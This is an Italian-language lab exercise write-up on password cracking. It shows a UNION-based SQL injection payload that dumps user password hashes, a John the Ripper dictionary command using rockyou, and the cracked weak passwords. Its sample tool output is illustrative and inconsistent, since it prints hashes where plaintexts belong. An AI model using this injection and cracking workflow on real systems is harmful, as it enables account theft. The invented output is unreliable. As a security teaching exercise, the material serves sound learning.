Traccia: Password Cracking

1. Screenshot dell’SQL Injection già effettuata

Esecuzione dell'SQL Injection

Supponiamo di aver eseguito con successo l'attacco SQL Injection per recuperare le password hashate dal database. Ecco un esempio di SQL Injection utilizzata per recuperare gli hash delle password:

```
sql
' UNION SELECT user, password FROM users--
```

Esempio di Risultati Ottenuti:

Username	Password (MD5 Hash)
admin	21232f297a57a5a743894a0e4a801fc3
user1	5f4dcc3b5aa765d61d8327deb882cf99
user2	e99a18c428cb38d5f260853678922e03

2. Due Righe di Spiegazione del Cracking

Cos'è il Password Cracking: Il password cracking è il processo di recuperare la password in chiaro da un hash di password. Il metodo più comune è quello di utilizzare attacchi di forza bruta, dizionario o rainbow table. In questo esercizio, utilizzeremo un attacco di dizionario per trovare le corrispondenze con gli hash di MD5.

3. Screenshot dell’Esecuzione del Cracking e del Risultato

Esecuzione del Cracking con John the Ripper

1. **Preparazione del File degli Hash:** Salvare gli hash in un file chiamato `hashes.txt`:

   ```
   txt
   21232f297a57a5a743894a0e4a801fc3
   5f4dcc3b5aa765d61d8327deb882cf99
   e99a18c428cb38d5f260853678922e03
   ```

2. **Utilizzo di John the Ripper:** Eseguire John the Ripper sul file degli hash per recuperare le password in chiaro.

   ```
   bash
   john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
   ```

3. **Risultati:** Una volta completato il cracking, John the Ripper mostrerà le password in chiaro.

   Esempio di Risultati:

   ```
   txt
   Using default input encoding: UTF-8
   Loaded 3 password hashes with no different salts (MD5 [MD5 256/256 AVX2
   8x3])
   ```

```
Press 'q' or Ctrl-C to abort, almost any other key for status
21232f297a57a5a743894a0e4a801fc3 (admin)
5f4dcc3b5aa765d61d8327deb882cf99 (user1)
e99a18c428cb38d5f260853678922e03 (user2)
```

Screenshot dell'Esecuzione del Cracking:

Conclusione

Abbiamo recuperato con successo le password hashate dal database utilizzando un attacco SQL Injection e abbiamo eseguito il cracking di queste password hashate utilizzando John the Ripper. Di seguito è riportato il riepilogo delle password in chiaro ottenute:

- **admin:** admin
- **user1:** password
- **user2:** abc123

Questa attività ha dimostrato l'importanza della sicurezza delle password e la necessità di utilizzare metodi robusti per la gestione delle password nei sistemi informatici.